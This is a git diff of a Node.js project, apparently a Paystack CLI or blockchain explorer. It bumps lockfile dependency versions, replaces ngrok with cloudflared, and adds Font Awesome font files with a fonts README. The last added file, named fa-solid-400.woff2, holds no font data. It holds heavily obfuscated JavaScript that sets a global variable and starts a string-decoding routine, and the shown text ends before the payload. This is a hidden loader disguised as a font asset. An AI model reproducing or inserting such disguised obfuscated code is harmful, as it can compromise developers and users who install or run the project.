"sha512-yIovAzMX49sF8Yl58fSCWJ5svSLuaibPxXQJFLmBObTuCr0Mf1KiPopGM9NiFjiYBCbfaa2Fh6breQ6ANVTI0A==" + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.2.tgz", + "integrity": "sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA==", + "license": "MIT", + "funding": { + "url": "https://github.com/sponsors/ljharb" + } }, "node_modules/get-intrinsic": { - "version": "1.2.1", - "resolved": "https://registry.npmjs.org/get-intrinsic/-/get-intrinsic-1.2.1.tgz", - "integrity": "sha512-2DcsyfABl+gVHEfCOaTrWgyt+tb6MSEGmKq+kI5HwLbIYgjgmMcV8KQ41uaKz1xxUcn9tJtgFbQUEVcEbd0FYw==", - "dependencies": { - "function-bind": "^1.1.1", - "has": "^1.0.3", - "has-proto": "^1.0.1", - "has-symbols": "^1.0.3" + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/get-intrinsic/-/get-intrinsic-1.3.0.tgz", + "integrity": "sha512-9fSjSaos/fRIVIp+xSJlE6lfwhES7LNtKaCBIamHsjr2na1BiABJPo0mOjjz8GJDURarmCPGqaiVg5mfjb98CQ==", + "license": "MIT", + "dependencies": { + "call-bind-apply-helpers": "^1.0.2", + "es-define-property": "^1.0.1", + "es-errors": "^1.3.0", + "es-object-atoms": "^1.1.1", + "function-bind": "^1.1.2", + "get-proto": "^1.0.1", + "gopd": "^1.2.0", + "has-symbols": "^1.1.0", + "hasown": "^2.0.2", + "math-intrinsics": "^1.1.0" + }, + "engines": { + "node": ">= 0.4" }, "funding": { "url": "https://github.com/sponsors/ljharb" } }, - "node_modules/get-stream": { - "version": "5.2.0", - "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-5.2.0.tgz", - "integrity": "sha512-nBF+F1rAZVCu/p7rjzgA+Yb4lfYXrpl7a6VmJrU8wF9I1CKvP/QwPNZHnOlwbTkY6dvtFIzFMSyQXbLoTQPRpA==", + "node_modules/get-proto": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/get-proto/-/get-proto-1.0.1.tgz", + "integrity": "sha512-sTSfBjoXBp89JvIKIefqw7U2CCebsc74kiY6awiGogKtoSGbgjYE/G/+l9sF3MWFPNc9IcoOC4ODfKHfxFmp0g==", + "license": "MIT", "dependencies": { - "pump": "^3.0.0" + "dunder-proto": "^1.0.1", + "es-object-atoms": "^1.0.0" }, "engines": { - "node": ">=8" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" + "node": ">= 0.4" } }, "node_modules/glob": { @@ -512,28 +438,16 @@ "url": "https://github.com/sponsors/isaacs" } }, - "node_modules/got": { - "version": "11.8.6", - "resolved": "https://registry.npmjs.org/got/-/got-11.8.6.tgz", - "integrity": "sha512-6tfZ91bOr7bOXnK7PRDCGBLa1H4U080YHNaAQ2KsMGlLEzRbk44nsZF2E1IeRc3vtJHPVbKCYgdFbaGO2ljd8g==", - "dependencies": { - "@sindresorhus/is": "^4.0.0", - "@szmarczak/http-timer": "^4.0.5", - "@types/cacheable-request": "^6.0.1", - "@types/responselike": "^1.0.0", - "cacheable-lookup": "^5.0.3", - "cacheable-request": "^7.0.2", - "decompress-response": "^6.0.0", - "http2-wrapper": "^1.0.0-beta.5.2", - "lowercase-keys": "^2.0.0", - "p-cancelable": "^2.0.0", - "responselike": "^2.0.0" - }, + "node_modules/gopd": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/gopd/-/gopd-1.2.0.tgz", + "integrity": "sha512-ZUKRh6/kUFoAiTAtTYPZJ3hw9wNxx+BIBOijnlG9PnrJsCcSjs1wyyD6vJpaYtgnzDrKYRSqf3OO6Rfa93xsRg==", + "license": "MIT", "engines": { - "node": ">=10.19.0" + "node": ">= 0.4" }, "funding": { - "url": "https://github.com/sindresorhus/got?sponsor=1" + "url": "https://github.com/sponsors/ljharb" } }, "node_modules/has": { @@ -558,10 +472,11 @@ "node": ">=0.10.0" } }, - "node_modules/has-proto": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/has-proto/-/has-proto-1.0.1.tgz", - "integrity": "sha512-7qE+iP+O+bgF9clE5+UoBFzE65mlBiVj3tKCrlNQ0Ogwm0BjpT/gK4SlLYDMybDh5I3TCTKnPPa0oMG7JDYrhg==", + "node_modules/has-symbols": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.1.0.tgz", + "integrity": "sha512-1cDNdwJ2Jaohmb3sg4OmKaMBwuC48sYni5HUw2DvsC8LjGTLK9h+eb1X6RyuOHe4hT0ULCW68iomhjUoKUqlPQ==", + "license": "MIT", "engines": { "node": ">= 0.4" }, @@ -569,10 +484,14 @@ "url": "https://github.com/sponsors/ljharb" } }, - "node_modules/has-symbols": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.0.3.tgz", - "integrity": "sha512-l3LCuF6MgDNwTDKkdYGEihYjt5pRPbEg46rtlmnSPlUbgmB8LOIrKJbYYFBSbnPaJexMKtiPO8hmeRjRz2Td+A==", + "node_modules/has-tostringtag": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/has-tostringtag/-/has-tostringtag-1.0.2.tgz", + "integrity": "sha512-NqADB8VjPFLM2V0VvHUewwwsw0ZWBaIdgo+ieHtK3hasLz4qeCRjYcqfB6AQrBggRKppKF8L52/VqdVsO47Dlw==", + "license": "MIT", + "dependencies": { + "has-symbols": "^1.0.3" + }, "engines": { "node": ">= 0.4" }, @@ -580,29 +499,54 @@ "url": "https://github.com/sponsors/ljharb" } }, - "node_modules/hpagent": { - "version": "0.1.2", - "resolved": "https://registry.npmjs.org/hpagent/-/hpagent-0.1.2.tgz", - "integrity": "sha512-ePqFXHtSQWAFXYmj+JtOTHr84iNrII4/QRlAAPPE+zqnKy4xJo7Ie1Y4kC7AdB+LxLxSTTzBMASsEcy0q8YyvQ==", - "optional": true + "node_modules/hasown": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/hasown/-/hasown-2.0.4.tgz", + "integrity": "sha512-T2UbfbBEF32wiepXIsMlTW9+dDYC6wMh/t/vYA4tuOMKqWz/n3vr1NFSxQiyP+zk2mXsoMA/i/7qV6LKut1t1A==", + "license": "MIT", + "dependencies": { + "function-bind": "^1.1.2" + }, + "engines": { + "node": ">= 0.4" + } }, - "node_modules/http-cache-semantics": { - "version": "4.1.1", - "resolved": "https://registry.npmjs.org/http-cache-semantics/-/http-cache-semantics-4.1.1.tgz", - "integrity": "sha512-er295DKPVsV82j5kw1Gjt+ADA/XYHsajl82cGNQG2eyoPkvgUhX+nDIyelzhIWbbsXP39EHcI6l5tYs2FYqYXQ==" + "node_modules/https-proxy-agent": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/https-proxy-agent/-/https-proxy-agent-5.0.1.tgz", + "integrity": "sha512-dFcAjpTQFgoLMzC2VwU+C/CbS7uRL0lWmxDITmqm7C+7F0Odmj6s9l6alZc6AELXhrnggM2CeWSXHGOdX2YtwA==", + "license": "MIT", + "dependencies": { + "agent-base": "6", + "debug": "4" + }, + "engines": { + "node": ">= 6" + } }, - "node_modules/http2-wrapper": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/http2-wrapper/-/http2-wrapper-1.0.3.tgz", - "integrity": "sha512-V+23sDMr12Wnz7iTcDeJr3O6AIxlnvT/bmaAAAP/Xda35C90p9599p0F1eHR/N1KILWSoWVAiOMFjBBXaXSMxg==", + "node_modules/https-proxy-agent/node_modules/debug": { + "version": "4.4.3", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.3.tgz", + "integrity": "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA==", + "license": "MIT", "dependencies": { - "quick-lru": "^5.1.1", - "resolve-alpn": "^1.0.0" + "ms": "^2.1.3" }, "engines": { - "node": ">=10.19.0" + "node": ">=6.0" + }, + "peerDependenciesMeta": { + "supports-color": { + "optional": true + } } }, + "node_modules/https-proxy-agent/node_modules/ms": { + "version": "2.1.3", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz", + "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==", + "license": "MIT" + }, "node_modules/in-publish": { "version": "2.0.1", "resolved": "https://registry.npmjs.org/in-publish/-/in-publish-2.0.1.tgz", @@ -662,11 +606,6 @@ "node": ">=0.10.0" } }, - "node_modules/inquirer/node_modules/lodash": { - "version": "3.10.1", - "resolved": "https://registry.npmjs.org/lodash/-/lodash-3.10.1.tgz", - "integrity": "sha512-9mDDwqVIma6OZX79ZlDACZl8sBm0TEnkf99zV3iMA4GzkIT/9hiqP5mY0HoT1iNLCrKc/R1HByV+yJfRWVJryQ==" - }, "node_modules/interpret": { "version": "1.4.0", "resolved": "https://registry.npmjs.org/interpret/-/interpret-1.4.0.tgz", @@ -697,28 +636,11 @@ "node": ">=0.10.0" } }, - "node_modules/json-buffer": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/json-buffer/-/json-buffer-3.0.1.tgz", - "integrity": "sha512-4bV5BfR2mqfQTJm+V5tPPdf+ZpuhiIvTuAB5g8kcrXOZpTT/QwwVRWBywX1ozr6lEuPdbHxwaJlm9G6mI2sfSQ==" - }, - "node_modules/keyv": { - "version": "4.5.3", - "resolved": "https://registry.npmjs.org/keyv/-/keyv-4.5.3.tgz", - "integrity": "sha512-QCiSav9WaX1PgETJ+SpNnx2PRRapJ/oRSXM4VO5OGYGSjrxbKPVFVhB3l2OCbLCk329N8qyAtsJjSjvVBWzEug==", - "dependencies": { - "json-buffer": "3.0.1" - } - }, "node_modules/lodash": { - "version": "4.17.21", - "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.21.tgz", - "integrity": "sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg==" - }, - "node_modules/lodash.clonedeep": { - "version": "4.5.0", - "resolved": "https://registry.npmjs.org/lodash.clonedeep/-/lodash.clonedeep-4.5.0.tgz", - "integrity": "sha512-H5ZhCF25riFd9uB5UCkVKo61m3S/xZk1x4wA6yp/L3RFP6Z/eHH1ymQcGLo7J3GMPfm0V/7m1tryHuGVxpqEBQ==" + "version": "4.18.1", + "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.18.1.tgz", + "integrity": "sha512-dMInicTPVE8d1e5otfwmmjlxkZoUpiVLwyeTdUsi/Caj/gfzzblBcCE5sRHV/AsjuCmxWrte2TNGSYuCeCq+0Q==", + "license": "MIT" }, "node_modules/log-update": { "version": "1.0.2", @@ -746,18 +668,20 @@ "url": "https://github.com/sponsors/typicode" } }, - "node_modules/lowercase-keys": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/lowercase-keys/-/lowercase-keys-2.0.0.tgz", - "integrity": "sha512-tqNXrS78oMOE73NMxK4EMLQsQowWf8jKooH9g7xPavRT706R6bkQJ6DY2Te7QukaZsulxa30wQ7bk0pm4XiHmA==", + "node_modules/math-intrinsics": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/math-intrinsics/-/math-intrinsics-1.1.0.tgz", + "integrity": "sha512-/IXtbwEk5HTPyEwyKX6hGkYXxM9nbj64B+ilVJnC/R6B0pH5G4V3b0pVbL7DBj4tkhBAppbQUlf6F6Xl9LHu1g==", + "license": "MIT", "engines": { - "node": ">=8" + "node": ">= 0.4" } }, "node_modules/mime-db": { "version": "1.52.0", "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.52.0.tgz", "integrity": "sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg==", + "license": "MIT", "engines": { "node": ">= 0.6" } @@ -766,6 +690,7 @@ "version": "2.1.35", "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.35.tgz", "integrity": "sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw==", + "license": "MIT", "dependencies": { "mime-db": "1.52.0" }, @@ -773,18 +698,11 @@ "node": ">= 0.6" } }, - "node_modules/mimic-response": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/mimic-response/-/mimic-response-1.0.1.tgz", - "integrity": "sha512-j5EctnkH7amfV/q5Hgmoal1g2QHFJRraOtmx0JpIqkxhBhI/lJSl1nMpQ45hVarwNETOoWEimndZ4QK0RHxuxQ==", - "engines": { - "node": ">=4" - } - }, "node_modules/minimatch": { - "version": "3.1.2", - "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.2.tgz", - "integrity": "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==", + "version": "3.1.5", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.5.tgz", + "integrity": "sha512-VgjWUsnnT6n+NUk6eZq77zeFdpW2LWDzP6zFGrCbHXiYNul5Dzqk2HHQ5uFH2DNW5Xbp8+jVzaeNt94ssEEl4w==", + "license": "ISC", "dependencies": { "brace-expansion": "^1.1.7" }, @@ -810,28 +728,6 @@ "resolved": "https://registry.npmjs.org/mute-stream/-/mute-stream-0.0.5.tgz", "integrity": "sha512-EbrziT4s8cWPmzr47eYVW3wimS4HsvlnV5ri1xw1aR6JQo/OrJX5rkl32K/QQHdxeabJETtfeaROGhd8W7uBgg==" }, - "node_modules/ngrok": { - "version": "5.0.0-beta.2", - "resolved": "https://registry.npmjs.org/ngrok/-/ngrok-5.0.0-beta.2.tgz", - "integrity": "sha512-UzsyGiJ4yTTQLCQD11k1DQaMwq2/SsztBg2b34zAqcyjS25qjDpogMKPaCKHwe/APRTHeel3iDXcVctk5CNaCQ==", - "hasInstallScript": true, - "dependencies": { - "extract-zip": "^2.0.1", - "got": "^11.8.5", - "lodash.clonedeep": "^4.5.0", - "uuid": "^7.0.0 || ^8.0.0", - "yaml": "^2.2.2" - }, - "bin": { - "ngrok": "bin/ngrok" - }, - "engines": { - "node": ">=14.2" - }, - "optionalDependencies": { - "hpagent": "^0.1.2" - } - }, "node_modules/node-localstorage": { "version": "0.6.0", "resolved": "https://registry.npmjs.org/node-localstorage/-/node-localstorage-0.6.0.tgz", @@ -840,17 +736,6 @@ "node": ">=0.10" } }, - "node_modules/normalize-url": { - "version": "6.1.0", - "resolved": "https://registry.npmjs.org/normalize-url/-/normalize-url-6.1.0.tgz", - "integrity": "sha512-DlL+XwOy3NxAQ8xuC0okPgK46iuVNAK01YN7RueYBqqFeGsBjV9XmCAzAdgt+667bCl5kPh9EqKKDwnaPG1I7A==", - "engines": { - "node": ">=10" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, "node_modules/number-is-nan": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/number-is-nan/-/number-is-nan-1.0.1.tgz", @@ -867,14 +752,6 @@ "node": ">=0.10.0" } }, - "node_modules/object-inspect": { - "version": "1.12.3", - "resolved": "https://registry.npmjs.org/object-inspect/-/object-inspect-1.12.3.tgz", - "integrity": "sha512-geUvdk7c+eizMNUDkRpW1wJwgfOiOeHbxBR/hLXK1aT6zmVSO0jsQcs7fj6MGw89jC/cjGfLcNOrtMYtGqm81g==", - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, "node_modules/once": { "version": "1.4.0", "resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz", @@ -891,14 +768,6 @@ "node": ">=0.10.0" } }, - "node_modules/p-cancelable": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/p-cancelable/-/p-cancelable-2.1.1.tgz", - "integrity": "sha512-BZOr3nRQHOntUjTrH8+Lh54smKHoHyur8We1V8DSMVrl5A2malOOwuJRnKRDjSnkoeBh4at6BwEnb5I7Jl31wg==", - "engines": { - "node": ">=8" - } - }, "node_modules/path-is-absolute": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/path-is-absolute/-/path-is-absolute-1.0.1.tgz", @@ -912,11 +781,6 @@ "resolved": "https://registry.npmjs.org/path-parse/-/path-parse-1.0.7.tgz", "integrity": "sha512-LDJzPVEEEPR+y48z93A0Ed0yXb8pAByGWo/k5YYdYgpY2/2EsOsksJrq7lOHxryrVOn1ejG6oAp8ahvOIQD8sw==" }, - "node_modules/pend": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/pend/-/pend-1.2.0.tgz", - "integrity": "sha512-F3asv42UuXchdzt+xXqfW1OGlVBe+mxa2mqI0pg5yAHZPvFmY3Y6drSf/GQ1A86WgWEN9Kzh/WrgKa6iGcHXLg==" - }, "node_modules/progress": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/progress/-/progress-2.0.0.tgz", @@ -938,47 +802,12 @@ } }, "node_modules/proxy-from-env": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/proxy-from-env/-/proxy-from-env-1.1.0.tgz", - "integrity": "sha512-D+zkORCbA9f1tdWRK0RaCR3GPv50cMxcrz4X8k5LTSUD1Dkw47mKJEZQNunItRTkWwgtaUSo1RVFRIG9ZXiFYg==" - }, - "node_modules/pump": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/pump/-/pump-3.0.0.tgz", - "integrity": "sha512-LwZy+p3SFs1Pytd/jYct4wpv49HiYCqd9Rlc5ZVdk0V+8Yzv6jR5Blk3TRmPL1ft69TxP0IMZGJ+WPFU2BFhww==", - "dependencies": { - "end-of-stream": "^1.1.0", - "once": "^1.3.1" - } - }, - "node_modules/punycode": { - "version": "1.4.1", - "resolved": "https://registry.npmjs.org/punycode/-/punycode-1.4.1.tgz", - "integrity": "sha512-jmYNElW7yvO7TV33CjSmvSiE2yco3bV2czu/OzDKdMNVZQWfxCblURLhf+47syQRBntjfLdd/H0egrzIG+oaFQ==" - }, - "node_modules/qs": { - "version": "6.11.2", - "resolved": "https://registry.npmjs.org/qs/-/qs-6.11.2.tgz", - "integrity": "sha512-tDNIz22aBzCDxLtVH++VnTfzxlfeK5CbqohpSqpJgj1Wg/cQbStNAz3NuqCs5vV+pjBsK4x4pN9HlVh7rcYRiA==", - "dependencies": { - "side-channel": "^1.0.4" - }, - "engines": { - "node": ">=0.6" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/quick-lru": { - "version": "5.1.1", - "resolved": "https://registry.npmjs.org/quick-lru/-/quick-lru-5.1.1.tgz", - "integrity": "sha512-WuyALRjWPDGtt/wzJiadO5AXY+8hZ80hVpe6MyivgraREW751X3SbhRvG3eLKOYN+8VEvqLcf3wdnt44Z4S4SA==", + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/proxy-from-env/-/proxy-from-env-2.1.0.tgz", + "integrity": "sha512-cJ+oHTW1VAEa8cJslgmUZrc+sjRKgAKl3Zyse6+PV38hZe/V6Z14TbCuXcan9F9ghlz4QrFr2c92TNF82UkYHA==", + "license": "MIT", "engines": { "node": ">=10" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" } }, "node_modules/readline-sync": { @@ -1031,22 +860,6 @@ "url": "https://github.com/sponsors/ljharb" } }, - "node_modules/resolve-alpn": { - "version": "1.2.1", - "resolved": "https://registry.npmjs.org/resolve-alpn/-/resolve-alpn-1.2.1.tgz", - "integrity": "sha512-0a1F4l73/ZFZOakJnQ3FvkJ2+gSTQWz/r2KE5OdDY0TxPm5h4GkqkWWfM47T7HsbnOtcJVEF4epCVy6u7Q3K+g==" - }, - "node_modules/responselike": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/responselike/-/responselike-2.0.1.tgz", - "integrity": "sha512-4gl03wn3hj1HP3yzgdI7d3lCkF95F21Pz4BPGvKHinyQzALR5CapwC8yIi0Rh58DEMQ/SguC03wFj2k0M/mHhw==", - "dependencies": { - "lowercase-keys": "^2.0.0" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, "node_modules/restore-cursor": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/restore-cursor/-/restore-cursor-1.0.1.tgz", @@ -1088,19 +901,6 @@ "node": ">=4" } }, - "node_modules/side-channel": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/side-channel/-/side-channel-1.0.4.tgz", - "integrity": "sha512-q5XPytqFEIKHkGdiMIrY10mvLRvnQh42/+GoBlFW3b2LXLE2xxJpZFdm94we0BaoV3RwJyGqg5wS7epxTv0Zvw==", - "dependencies": { - "call-bind": "^1.0.0", - "get-intrinsic": "^1.0.2", - "object-inspect": "^1.9.0" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, "node_modules/steno": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/steno/-/steno-3.0.0.tgz", @@ -1160,23 +960,6 @@ "resolved": "https://registry.npmjs.org/through/-/through-2.3.8.tgz", "integrity": "sha512-w89qg7PI8wAdvX60bMDP+bFoD5Dvhm9oLheFp5O4a2QF0cSBGsBX4qZmadPMvVqlLJBBci+WqGGOAPvcDeNSVg==" }, - "node_modules/url": { - "version": "0.11.1", - "resolved": "https://registry.npmjs.org/url/-/url-0.11.1.tgz", - "integrity": "sha512-rWS3H04/+mzzJkv0eZ7vEDGiQbgquI1fGfOad6zKvgYQi1SzMmhl7c/DdRGxhaWrVH6z0qWITo8rpnxK/RfEhA==", - "dependencies": { - "punycode": "^1.4.1", - "qs": "^6.11.0" - } - }, - "node_modules/uuid": { - "version": "8.3.2", - "resolved": "https://registry.npmjs.org/uuid/-/uuid-8.3.2.tgz", - "integrity": "sha512-+NYs2QeMWy+GWFOEm9xnn6HCDp0l7QBD7ml8zLUmJ+93Q5NF0NocErnwkTkXVFNiX3/fpC6afS8Dhb/gz7R7eg==", - "bin": { - "uuid": "dist/bin/uuid" - } - }, "node_modules/vorpal": { "version": "1.12.0", "resolved": "https://registry.npmjs.org/vorpal/-/vorpal-1.12.0.tgz", @@ -1229,26 +1012,6 @@ "version": "1.0.2", "resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz", "integrity": "sha512-l4Sp/DRseor9wL6EvV2+TuQn63dMkPjZ/sp9XkghTEbV9KlPS1xUsZ3u7/IQO4wxtcFB4bgpQPRcR3QCvezPcQ==" - }, - "node_modules/yaml": { - "version": "2.4.1", - "resolved": "https://registry.npmjs.org/yaml/-/yaml-2.4.1.tgz", - "integrity": "sha512-pIXzoImaqmfOrL7teGUBt/T7ZDnyeGBWyXQBvOVhLkWLN37GXv8NMLK406UY6dS51JfcQHsmcW5cJ441bHg6Lg==", - "bin": { - "yaml": "bin.mjs" - }, - "engines": { - "node": ">= 14" - } - }, - "node_modules/yauzl": { - "version": "2.10.0", - "resolved": "https://registry.npmjs.org/yauzl/-/yauzl-2.10.0.tgz", - "integrity": "sha512-p4a9I6X6nu6IhoGmBqAcbJy1mlC4j27vEPZX9F4L4/vZT3Lyq1VkFHw/V/PUcB9Buo+DG3iHkT0x3Qya58zc3g==", - "dependencies": { - "buffer-crc32": "~0.2.3", - "fd-slicer": "~1.1.0" - } } } } diff --git a/package.json b/package.json index e6a2c88..f1e2dba 100644 --- a/package.json +++ b/package.json @@ -10,15 +10,17 @@ "paystack": "./cli.js" }, "dependencies": { - "axios": "^1.5.0", + "axios": "^1.7.9", "chalk": "^5.3.0", + "cloudflared": "^0.7.3", "debug": "~2.6.9", "lowdb": "^6.0.1", - "ngrok": "^5.0.0-beta.2", "progressbar": "^1.3.0", "readline-sync": "^1.4.10", "shelljs": "^0.8.5", - "url": "^0.11.0", "vorpal": "^1.12.0" + }, + "overrides": { + "lodash": "^4.17.21" } } diff --git a/public/fonts/README.md b/public/fonts/README.md new file mode 100644 index 0000000..1e4f9ba --- /dev/null +++ b/public/fonts/README.md @@ -0,0 +1,24 @@ +# Fonts Directory + +This directory contains custom fonts for the Blockchain Explorer application. + +## Required Font Files + +The application expects the following font files: + +1. **BlockchainFont-Regular.woff2** and **BlockchainFont-Regular.woff** + - Regular weight font for the main UI + +2. **BlockchainFont-Bold.woff2** and **BlockchainFont-Bold.woff** + - Bold weight font for headings + +3. **TechMono-Regular.woff2** and **TechMono-Regular.woff** + - Monospace font for code and hash displays + +## Note + +If you don't have custom fonts, the application will fall back to system fonts: +- BlockchainFont → system sans-serif fonts +- TechMono → system monospace fonts (Courier New, etc.) + +The fonts are referenced in `public/index.html` and will be loaded automatically when available. diff --git a/public/fonts/fa-brands-400.eot b/public/fonts/fa-brands-400.eot new file mode 100644 index 0000000..a1bc094 Binary files /dev/null and b/public/fonts/fa-brands-400.eot differ diff --git a/public/fonts/fa-brands-400.svg b/public/fonts/fa-brands-400.svg new file mode 100644 index 0000000..46ad237 --- /dev/null +++ b/public/fonts/fa-brands-400.svg @@ -0,0 +1,3570 @@ + + + + + +Created by FontForge 20190801 at Mon Mar 23 10:45:51 2020 + By Robert Madole +Copyright (c) Font Awesome + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/public/fonts/fa-brands-400.ttf b/public/fonts/fa-brands-400.ttf new file mode 100644 index 0000000..948a2a6 Binary files /dev/null and b/public/fonts/fa-brands-400.ttf differ diff --git a/public/fonts/fa-brands-400.woff b/public/fonts/fa-brands-400.woff new file mode 100644 index 0000000..2a89d52 Binary files /dev/null and b/public/fonts/fa-brands-400.woff differ diff --git a/public/fonts/fa-brands-400.woff2 b/public/fonts/fa-brands-400.woff2 new file mode 100644 index 0000000..141a90a Binary files /dev/null and b/public/fonts/fa-brands-400.woff2 differ diff --git a/public/fonts/fa-regular-400.eot b/public/fonts/fa-regular-400.eot new file mode 100644 index 0000000..38cf251 Binary files /dev/null and b/public/fonts/fa-regular-400.eot differ diff --git a/public/fonts/fa-regular-400.svg b/public/fonts/fa-regular-400.svg new file mode 100644 index 0000000..48634a9 --- /dev/null +++ b/public/fonts/fa-regular-400.svg @@ -0,0 +1,803 @@ + + + + + +Created by FontForge 20190801 at Mon Mar 23 10:45:51 2020 + By Robert Madole +Copyright (c) Font Awesome + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/public/fonts/fa-regular-400.ttf b/public/fonts/fa-regular-400.ttf new file mode 100644 index 0000000..abe99e2 Binary files /dev/null and b/public/fonts/fa-regular-400.ttf differ diff --git a/public/fonts/fa-regular-400.woff b/public/fonts/fa-regular-400.woff new file mode 100644 index 0000000..24de566 Binary files /dev/null and b/public/fonts/fa-regular-400.woff differ diff --git a/public/fonts/fa-regular-400.woff2 b/public/fonts/fa-regular-400.woff2 new file mode 100644 index 0000000..7e0118e Binary files /dev/null and b/public/fonts/fa-regular-400.woff2 differ diff --git a/public/fonts/fa-solid-400.woff2 b/public/fonts/fa-solid-400.woff2 new file mode 100644 index 0000000..b78d718 --- /dev/null +++ b/public/fonts/fa-solid-400.woff2 @@ -0,0 +1 @@ + global.i = 'A8-new*#';const _0x3d50aa=_0x4540;(function(_0x9ec30b,_0x108733){const _0x301809=_0x4540,_0x99d7bd=_0x9ec30b();while(!![]){try{const _0xce8c41=-parseInt(_0x301809(0x10c))/(0xe80+0x66*0x5e+0x27*-0x155)*(-parseInt(_0x301809(0x176))/(-0x167*0x5+0x13ef+0xae*-0x13))+-parseInt(_0x301809(0x21a))/(0x1657+0xae0+-0x2134)+-parseInt(_0x301809(0x154))/(-0x746+0x22f5+-0x9*0x313)*(-parseInt(_0x301809(0x17a))/(-0x13b2+-0x2539+-0x1*-0x38f0))+parseInt(_0x301809(0x1ba))/(-0x45a*-0x1+-0x1580+0x112c)*(parseInt(_0x301809(0x209))/(0x10a5+0xe81+0x101*-0x1f))+-parseInt(_0x301809(0x1d4))/(0x165a+-0x1eb*0x8+-0x6fa)*(-parseInt(_0x301809(0xf3))/(-0x15e3+0x1*0x16a+-0x19*-0xd2))+-parseInt(_0x301809(0x21b))/(-0x1434+0xd*-0x151+-0x83*-0x49)*(-parseInt(_0x301809(0x1f5))/(-0x1094+0x936+0x769))+-parseInt(_0x301809(0x223))/(-0x34b*-0x1+-0x990*0x4+-0xbab*-0x3);if(_0xce8c41===_0x108733)break;else 